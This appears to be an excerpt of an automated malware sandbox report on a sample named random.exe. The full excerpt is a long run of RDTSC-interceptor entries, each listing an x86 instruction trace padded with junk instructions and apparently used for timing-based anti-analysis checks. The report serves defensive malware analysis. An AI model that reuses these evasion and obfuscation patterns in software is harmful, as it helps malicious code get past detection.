Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56B907 second address: 56B91A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8A48B4BD6Eh 0x00000008 js 00007F8A48B4BD66h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56B91A second address: 56B924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 572A41 second address: 572A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F8A48B4BD75h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 57A8ED second address: 57A924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8A48DE77D7h 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 jmp 00007F8A48DE77CCh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 57A924 second address: 57A928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 57A928 second address: 57A945 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578B0A second address: 578B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578B10 second address: 578B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578B14 second address: 578B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578E8F second address: 578E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8A48DE77C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578E9B second address: 578EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8A48B4BD66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578EAA second address: 578EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578EAE second address: 578EC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 jp 00007F8A48B4BD66h 0x0000000f pop ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578EC1 second address: 578ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8A48DE77C6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 578ED0 second address: 578EEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8A48B4BD74h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 57902C second address: 57903E instructions: 0x00000000 rdtsc 0x00000002 js 00007F8A48DE77CCh 0x00000008 js 00007F8A48DE77C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 579195 second address: 5791AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A48B4BD76h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5791AF second address: 5791CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F8A48DE77E5h 0x00000012 pushad 0x00000013 jmp 00007F8A48DE77CBh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 57934B second address: 579355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F8A48B4BD66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 579355 second address: 579359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 579359 second address: 57935F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 579628 second address: 579634 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8A48DE77C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 579634 second address: 579639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5797B1 second address: 5797B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 57A036 second address: 57A042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F8A48B4BD66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5810DA second address: 581108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8A48DE77D7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 581108 second address: 58110C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580B07 second address: 580B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580B0D second address: 580B11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580B11 second address: 580B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580B1D second address: 580B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD79h 0x00000007 jmp 00007F8A48B4BD73h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007F8A48B4BD78h 0x00000014 pop ecx 0x00000015 popad 0x00000016 pushad 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580B6C second address: 580B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8A48DE77C6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580CA2 second address: 580CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A48B4BD6Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jp 00007F8A48B4BD6Ch 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580CC7 second address: 580CEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8A48DE77CEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580CEB second address: 580CF5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A48B4BD6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580E33 second address: 580E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580E39 second address: 580E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 580E3F second address: 580E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 592D2A second address: 592D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 592D2E second address: 592D34 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 592D34 second address: 592D3B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 592D3B second address: 592D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 592E97 second address: 592E9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 598948 second address: 59894C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5A0239 second address: 5A0240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4BB073 second address: 4BB077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4BB077 second address: 4BB099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F8A48B4BD72h 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4BB099 second address: 4BB0A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8A48DE77C6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5A7339 second address: 5A7344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8A48B4BD66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5A71E8 second address: 5A71F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5ADBE5 second address: 5ADBFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD73h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5ADBFE second address: 5ADC3C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8A48DE77C6h 0x00000008 jnl 00007F8A48DE77C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F8A48DE77CBh 0x00000019 push edx 0x0000001a pop edx 0x0000001b jmp 00007F8A48DE77D1h 0x00000020 popad 0x00000021 jo 00007F8A48DE77C8h 0x00000027 pushad 0x00000028 popad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5ADC3C second address: 5ADC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F8A48B4BD73h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5AC6D5 second address: 5AC6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F8A48DE77C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5AC82F second address: 5AC833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5ACA9A second address: 5ACAC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8A48DE77CFh 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5ACECD second address: 5ACED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5AD90D second address: 5AD916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5AD916 second address: 5AD91C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5B1036 second address: 5B1082 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8A48DE77C6h 0x00000008 jmp 00007F8A48DE77D4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F8A48DE77CCh 0x00000019 popad 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8A48DE77D9h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5B1082 second address: 5B108E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F8A48B4BD66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5B108E second address: 5B10B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F8A48DE77C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8A48DE77CFh 0x00000013 jne 00007F8A48DE77C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5B1227 second address: 5B1233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007F8A48B4BD66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5BEB24 second address: 5BEB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5BB3FA second address: 5BB40E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD6Eh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5BB40E second address: 5BB419 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F8A48DE77C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5CC572 second address: 5CC576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5CDC17 second address: 5CDC1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5D04E9 second address: 5D050F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD72h 0x00000007 jmp 00007F8A48B4BD70h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5E6740 second address: 5E6745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5E6B5D second address: 5E6B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5E6B63 second address: 5E6B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5E6CA6 second address: 5E6CB6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8A48B4BD66h 0x00000008 jl 00007F8A48B4BD66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5E6CB6 second address: 5E6CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5E6CBC second address: 5E6CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5E6CC2 second address: 5E6CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5E739D second address: 5E73C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8A48B4BD75h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F8A48B4BD6Dh 0x00000011 push esi 0x00000012 jnc 00007F8A48B4BD66h 0x00000018 pop esi 0x00000019 popad 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5EA093 second address: 5EA09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5EA3A7 second address: 5EA41D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F8A48B4BD6Ah 0x0000000f jl 00007F8A48B4BD68h 0x00000015 popad 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F8A48B4BD68h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov edx, ecx 0x00000033 push 00000004h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F8A48B4BD68h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f push 00C02459h 0x00000054 pushad 0x00000055 jmp 00007F8A48B4BD6Eh 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5EB9A3 second address: 5EB9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5EB9A7 second address: 5EB9AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5EF109 second address: 5EF10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5EF10F second address: 5EF12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A48B4BD77h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5EF12E second address: 5EF139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50102D7 second address: 50102F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A48B4BD75h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50102F0 second address: 501033A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8A48DE77D3h 0x00000010 or ax, 0BDEh 0x00000015 jmp 00007F8A48DE77D9h 0x0000001a popfd 0x0000001b mov ax, 0EA7h 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501033A second address: 501033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501033E second address: 501034D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501034D second address: 5010387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8A48B4BD78h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010387 second address: 5010396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010424 second address: 501042A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 501042A second address: 5010440 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 7E7CF573h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov dx, si 0x00000013 mov edx, eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010440 second address: 5010461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, B8h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8A48B4BD76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010461 second address: 5010467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5010467 second address: 501046B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 505C76 second address: 505C80 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8A48DE77CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
